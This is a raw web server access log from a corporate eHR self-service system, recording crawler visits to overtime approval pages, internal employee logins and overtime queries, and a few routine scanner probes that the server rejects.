/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:05 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810 HTTP/1.1" 200 5915 100.64.0.1 - - [05/Dec/2025:03:48:09 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:03:48:09 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:11 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:11 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:03:48:13 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:13 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:03:48:15 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:15 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:03:48:16 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:16 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:03:48:19 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163569&companyid=3913&userseqno=47810" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:19 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:03:48:21 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:21 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:03:48:24 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:24 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:03:48:26 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:26 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:03:48:29 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:29 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:03:48:31 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:03:48:31 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:03:48:38 +0800] "\x03" 501 203 100.64.0.1 - - [05/Dec/2025:03:48:38 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [05/Dec/2025:04:14:51 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:04:14:51 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:04:17:09 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163846&companyid=3913&userseqno=47859 HTTP/1.1" 200 5916 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:17:09 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163846&companyid=3913&userseqno=47859 HTTP/1.1" 200 5916 100.64.0.1 - - [05/Dec/2025:04:23:06 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:04:23:06 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:04:35:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:04:35:05 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:05 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:04:35:06 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:06 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:04:35:07 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:07 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:04:35:09 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:09 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:04:35:11 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:11 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:04:35:13 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:13 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:04:35:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:04:35:16 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:04:35:16 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:05:47:58 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [05/Dec/2025:05:47:58 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:06:59:25 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [05/Dec/2025:06:59:25 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [05/Dec/2025:06:59:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "-" "Googlebot-Image/1.0" 100.64.0.1 - - [05/Dec/2025:06:59:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.40.34 - - [05/Dec/2025:07:22:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:07:22:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [05/Dec/2025:07:22:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:07:22:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:07:22:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:07:22:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [05/Dec/2025:07:22:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:07:22:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [05/Dec/2025:07:46:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:07:46:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [05/Dec/2025:07:47:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:07:47:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [05/Dec/2025:07:47:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:07:47:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [05/Dec/2025:07:47:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:07:47:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [05/Dec/2025:07:47:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:07:47:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.52 - - [05/Dec/2025:07:47:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165767 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:07:47:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165767 192.168.11.60 - - [05/Dec/2025:08:23:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:08:23:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.60 - - [05/Dec/2025:08:23:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:08:23:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [05/Dec/2025:08:23:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:08:23:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [05/Dec/2025:08:23:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:08:23:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [05/Dec/2025:08:23:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:08:23:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [05/Dec/2025:08:23:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:08:23:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [05/Dec/2025:08:23:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [05/Dec/2025:08:23:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 192.168.12.69 - - [05/Dec/2025:08:27:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [05/Dec/2025:08:27:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [05/Dec/2025:08:27:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [05/Dec/2025:08:27:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [05/Dec/2025:08:35:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:08:35:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [05/Dec/2025:08:35:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:08:35:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:08:35:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [05/Dec/2025:08:35:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:08:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:08:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [05/Dec/2025:08:37:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:37:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.71 - - [05/Dec/2025:08:37:23 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [05/Dec/2025:08:37:23 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.70 - - [05/Dec/2025:08:37:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:37:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [05/Dec/2025:08:37:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [05/Dec/2025:08:37:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [05/Dec/2025:08:37:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 